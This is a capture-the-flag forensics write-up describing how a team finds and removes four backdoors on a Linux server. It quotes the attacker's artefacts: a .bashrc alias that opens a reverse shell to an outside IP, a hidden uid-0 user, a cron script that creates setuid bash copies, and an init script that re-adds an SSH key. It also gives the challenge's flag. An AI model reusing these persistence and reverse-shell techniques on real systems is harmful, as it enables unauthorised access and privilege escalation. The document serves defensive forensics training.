Hackers made it onto one of our production servers. We’ve isolated it from the internet until we can clean the machine up. The IR team reported four different backdoors on the server, but didn’t mention what they were and we currently can’t get in touch with them. We need to get this server back into prod ASAP - we’re losing money every second it’s down. Please find the four backdoors (both remote access and privilege escalation) and remove them. Your creds are user / hackthebox, and that user will have full sudo rights, so running sudo su - will provide a shell as root. Remove any malicious files and configurations, and then run /root/solveme as root to get the flag.

Category: forensics

Solver: lmarschk, mp455, 3mb0

Flag: HTB{g0oD_hUnt1n_y0u_f0und_1t!}

Writeup

Issue 1

Every time the shell (bash) of the user user is started, /home/user/.bashrc is loaded so it is a perfect place to hide malicious code. We first overlooked the one line multiple times as the .bashrc is long and we did not read carefully enough, but we finally found the following line:

alias cat='(bash -i >& /dev/tcp/172.17.0.1/443 0>&1 & disown) 2>/dev/null; cat'

So every time cat is executed (we did that a lot of times) a reverse shell would have been opened if the machine had internet access. Removing this line resolved the issue.

Issue 2

Every attacker needs a user on the attacked system. One could use an existing user but on this machine we found the user hodor in the file /etc/passwd:

hodor:x:0:0::/home/hodor:/bin/sh

As the given home directory does not exist, this user looks suspicious. The user can not be deleted at first because it is used by the process with pid 1. This is because the user has the uid and gid 0 (and appropriate entries in /etc/subuid and /etc/subgid) which are the ids of the root user / group. After changing the ids to ids that are not in use (e.g. 1001) the user hodor can simply be deleted with userdel hodor. Deleting the user resolved the issue.

Issue 3

With issue 1 the attacker had a shell as the user user. But to gain more access it is desirable to be able to execute commands as root. A common way is to use setuid binaries. These binaries have the permission (setuid bit) to execute commands as the user who owns the file (e.g. root) that differs from the user who is executing the binary (here: user). The same concept can also be applied to groups.

setuid

These binaries can be found with the command find / -perm -4000. There are a lot of binaries with the setuid bit that do no harm, e.g. ping. But we found three binaries that looked strange:

  • /usr/sbin/awdsui
  • /usr/sbin/wwlbrq
  • /usr/sbin/yesqhe

After removing these binaries, the issue was partially resolved. We then also found a cron job that creates these binaries: /etc/cron.daily/access-up

#!/bin/bash

DIRS=("/bin" "/sbin")
DIR=${DIRS[$[ $RANDOM % 2 ]]}

while : ; do
  NEW_UUID=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 6 | head -n 1)
  [[ -f "{$DIR}/${NEW_UUID}" ]] || break
done

cp /bin/bash ${DIR}/${NEW_UUID}
touch ${DIR}/${NEW_UUID} -r /bin/bash
chmod 4755 ${DIR}/${NEW_UUID}

The issue was fully resolved after we removed the three binaries and the cron job.

setgid

A search with find / -perm -2000 yielded no suspicious results.

Issue 4

The most common way to access a remote machine is ssh. We therefore checked the configuration of the server (/etc/ssh/sshd_config) and all keys that permit access. In /root/.ssh/authorized_keys we found two keys. We tried to remove them and found out that the first one is essential for the challenge and removing the second key

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAguwWbYgJyizuhXCzAQ4wcRXHa0WhfGkz23pCY7hA55 bd

partially resolves the issue. After a very long search we found the line

echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAguwWbYgJyizuhXCzAQ4wcRXHa0WhfGkz23pCY7hA55 bd" >> /root/.ssh/authorized_keys

in /etc/init.d/ssh. In hindsight it would have been much smarter to just search for the second key in all files. The issue was resolved after deleting both lines above.

Flag

Executing /root/solveme as root after solving all four issues yielded the flag:

flag.png

Unsuccessful analyses

  • no results with chkrootkit
  • no results with linux-exploit-suggester
  • analyzing the change timestamps of all files yielded no useful results
  • the lately installed packages only contained some interesting information:
apt install vim openssh-server dnsutils net-tools sudo python3 python3-pip netcat-traditional cron anacron curl wget dnsmasq iputils-ping arping popularity-contest man logrotate less -y --fix-missing
  • netcat-traditional: could be used for reverse shells but we did not find any indications for that (and they would not have worked anyway because the machine did no longer have network)
  • cron: see issue 3
  • openssh-server: could be used to access the machine but we did not find any indications for that (and they would not have worked anyway because the machine did no longer have network)

Other resources